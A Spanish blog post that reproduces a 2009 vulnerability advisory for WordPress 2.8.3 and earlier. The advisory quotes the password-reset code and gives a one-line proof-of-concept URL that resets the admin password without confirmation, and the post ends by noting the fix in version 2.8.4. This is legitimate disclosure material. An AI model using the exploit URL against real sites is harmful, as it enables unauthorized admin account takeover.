Va un copy&paste de la vulnerabilidad, descubierta por Laurent Gaffié :

============================================
- Release date: August 10th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium
=============================================

I. VULNERABILITY
-------------------------
WordPress <= 2.8.3 Remote admin reset password

II. BACKGROUND
-------------------------
WordPress is a state-of-the-art publishing platform with a focus on
aesthetics, web standards, and usability. WordPress is both free and
priceless at the same time. More simply, WordPress is what you use when
you want to work with your blogging software, not fight it.

III. DESCRIPTION
-------------------------
The way WordPress handle a password reset looks like this:
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;
Wordpress send you a reset confirmation like that via email:

"
Someone has asked to reset the password for the following site and username.

http://DOMAIN_NAME.TLD/wordpress

Username: admin
To reset your password visit the following address, otherwise just
ignore this email and nothing will happen

http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag

"

You click on the link, and then WordPress reset your admin password, and
sends you over another email with your new credentials.

Let's see how it works:

wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
    global $wpdb;

    $key = preg_replace('/[^a-z0-9]/i', '', $key);

    if ( empty( $key ) )
        return new WP_Error('invalid_key', __('Invalid key'));

    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
    if ( empty( $user ) )
        return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset($_GET['key']) )
    $action = 'resetpass';

// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
    $action = 'login';
...[snip]....

line 370:

break;

case 'resetpass' :
case 'rp' :
    $errors = reset_password($_GET['key']);

    if ( ! is_wp_error($errors) ) {
        wp_redirect('wp-login.php?checkemail=newpass');
        exit();
    }

    wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
    exit();

break;
...[snip ]...

You can abuse the password reset function, and bypass the first step and
then reset the admin password by submiting an array to the $key
variable.

IV. PROOF OF CONCEPT
-------------------------
A web browser is sufficiant to reproduce this Proof of concept:

http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=

The password will be reset without any confirmation.

V. BUSINESS IMPACT
-------------------------
An attacker could exploit this vulnerability to compromise the admin
account of any wordpress/wordpress-mu <= 2.8.3

VI. SYSTEMS AFFECTED
-------------------------
All

VII. SOLUTION
-------------------------
No patch aviable for the moment.

VIII. REFERENCES
-------------------------

http://www.wordpress.org

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com
I'd like to shoot some greetz to securityreason.com for them great
research on PHP, as for this under-estimated vulnerability discovered by
Maksymilian Arciemowicz : http://securityreason.com/achievement_securityalert/38

X. REVISION HISTORY
-------------------------
August 10th, 2009: Initial release

XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

# milw0rm.com [2009-08-11]

WordPress Trac

Update: actualizar WordPress a versión 2.8.4